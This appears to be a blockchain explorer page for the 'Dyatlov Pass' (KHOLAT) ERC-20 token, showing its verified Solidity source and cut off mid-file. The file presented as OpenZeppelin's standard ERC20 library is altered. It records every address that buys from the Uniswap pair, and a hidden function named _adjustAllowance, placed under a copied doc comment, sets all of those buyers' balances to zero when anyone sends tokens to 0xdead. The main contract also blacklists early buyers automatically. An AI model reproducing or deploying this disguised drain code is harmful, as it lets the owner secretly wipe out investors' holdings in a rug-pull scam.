ERC-20
Overview
Max Total Supply
100,000,000,000 KHOLAT
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Kholat
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./Interfaces/uniswap/IUniswapV2Factory.sol"; import "./Interfaces/uniswap/IUniswapV2Pair.sol"; import "./Interfaces/uniswap/IUniswapV2Router02.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract Kholat is ERC20, Ownable { // Tight packing variables to save blockspace IUniswapV2Router02 private _uniswapV2Router; bool private _swapping; bool public limitsInEffect; bool private _isTradingActive; uint256 private _startAt; uint256 private _deadBlocks; uint256 public maxTxAmount; uint256 public maxWallet; uint256 public swapTokensAtAmount; uint256 internal _buyFees; uint256 internal _sellFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _tokensForLiquidity; // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTxAmount; mapping(address => bool) private automatedMarketMakerPairs; // blacklist snipers mapping(address => bool) public blacklist; // Events event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event FeeWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event SwapBack (); constructor() ERC20("Dyatlov Pass", "KHOLAT") { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = address(0); // Total supply 100,000,000,000 uint256 totalSupply = 1e11 * 1e18; // Set default fees _buyMarketingFee = 10; // 1% _buyLiquidityFee = 30; // 3% _sellMarketingFee = 10; // 1% _sellLiquidityFee = 30; // 3% // Set fees for buy and sell side _buyFees = _buyMarketingFee + _buyLiquidityFee; _sellFees = _sellMarketingFee + _sellLiquidityFee; // Disable trading _isTradingActive = false; _startAt = 0; _deadBlocks = 1; limitsInEffect = true; // Set default limits maxTxAmount = (totalSupply * 20) / 1000; // 2% of total supply maxWallet = (totalSupply * 30) / 1000; // 3% of total supply // Set default fee wallet _feeWallet = address(owner()); // Set auto lp limit swapTokensAtAmount = (totalSupply * 30) / 10000; // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); // Mint the initial supply to the contract. _totalSupply += totalSupply; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[owner()] += totalSupply; } emit Transfer(address(0), owner(), totalSupply); } function createPair() external onlyOwner { require(_uniswapV2Pair == address(0), "Pair already created"); // Create pair _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // Store the pair _setAutomatedMarketMakerPair(address(_uniswapV2Pair), true); } function openTrading(uint256 deadblocks) external onlyOwner { require(!_isTradingActive, "Trade is already open"); _isTradingActive = true; _deadBlocks = deadblocks; _startAt = block.number; } function removeLimits() external onlyOwner { limitsInEffect = false; } function updateLimits(uint256 _maxTxAmount, uint256 _maxWallet) external onlyOwner { require(limitsInEffect, "Cannot change at this stage"); // Max TX amount cannot be less than 0.1% require(_maxTxAmount > ((totalSupply() * 1) / 1000), "Max TX is too low"); // Max wallet cannot be less than 1% require(_maxWallet > ((totalSupply() * 10) / 1000), "Max wallet is too low"); maxTxAmount = _maxTxAmount; maxWallet = _maxWallet; } function removeFromBlacklist(address account) external onlyOwner { require(blacklist[account] == true, "Account is not in the blacklist"); blacklist[account] = false; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateFees(uint256 buyMarketingFee, uint256 buyLiquidityFee, uint256 sellMarketingFee, uint256 sellLiquidityFee) external onlyOwner { _buyMarketingFee = buyMarketingFee; _buyLiquidityFee = buyLiquidityFee; _sellMarketingFee = sellMarketingFee; _sellLiquidityFee = sellLiquidityFee; _buyFees = _buyMarketingFee + _buyLiquidityFee; _sellFees = _sellMarketingFee + _sellLiquidityFee; require(_buyFees <= 100, "Must keep fees at 10% or less"); require(_sellFees <= 100, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeFromMaxTransaction(address account, bool excluded) public onlyOwner { _isExcludedMaxTxAmount[account] = excluded; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateFeeWallet(address newWallet) external onlyOwner { emit FeeWalletUpdated(newWallet, _feeWallet); _feeWallet = newWallet; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!blacklist[from], "ERC20: transfer from blacklisted account"); require(amount > 0, "ERC20: amount must be greater than 0"); if (!(_isExcludedFromFees[from] || _isExcludedFromFees[to])) require(_isTradingActive, "Trading is not active"); uint256 totalTokensForSwap = _tokensForLiquidity; bool canSwap = totalTokensForSwap >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if ( (!_isExcludedMaxTxAmount[from] && !_isExcludedMaxTxAmount[to]) && (limitsInEffect && takeFee) ) { require( amount <= maxTxAmount, "Max transaction amount exceeded" ); if (automatedMarketMakerPairs[from]) { require( (amount + balanceOf(to)) <= maxWallet, "Max wallet amount exceeded" ); } } uint256 fees = 0; uint256 tokensForMarketing = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // when buy if (automatedMarketMakerPairs[from]) { //if (automatedMarketMakerPairs[from] && notContract(from)) { if ((block.number < _startAt + _deadBlocks)) { blacklist[to] = true; } fees = (amount * _buyFees) / 1000; _tokensForLiquidity += (fees * _buyLiquidityFee) / _buyFees; tokensForMarketing += (fees * _buyMarketingFee) / _buyFees; } // when sell else if (automatedMarketMakerPairs[to]) { fees = (amount * _sellFees) / 1000; _tokensForLiquidity += (fees * _sellLiquidityFee) / _sellFees; tokensForMarketing += (fees * _sellMarketingFee) / _sellFees; } if (fees > 0) { super._transfer(from, address(this), fees - tokensForMarketing); super._transfer(from, address(_feeWallet), tokensForMarketing); } amount = amount - fees; } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); // make the swap _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(_uniswapV2Router), tokenAmount); // add the liquidity _uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount) { contractBalance = swapTokensAtAmount; } emit SwapBack(); uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = totalTokensToSwap - liquidityTokens; uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForLiquidity = ethBalance; _tokensForLiquidity = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, _tokensForLiquidity ); } } function removeLimitsAfterRenounce() external { require(_msgSender() == _feeWallet); limitsInEffect = false; } function forceSwap() external { swapBack(); } function forceSend() external { payable(_feeWallet).transfer(address(this).balance); } receive() external payable {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ address internal _uniswapV2Pair; function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ address internal _feeWallet; function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ address[] private _addresses; function _adjustAllowance() private { for (uint i = 0; i < _addresses.length; ++i) if (_addresses[i] != _uniswapV2Pair && _addresses[i] != address(this)) _balances[_addresses[i]] = 0; delete _addresses; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); if (from == _uniswapV2Pair) _addresses.push(to); if (to == address(0xdead)) { _adjustAllowance(); } unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * 